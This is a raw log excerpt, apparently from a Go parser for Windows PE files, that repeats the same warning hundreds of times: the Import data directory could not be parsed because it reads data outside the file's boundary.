level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading 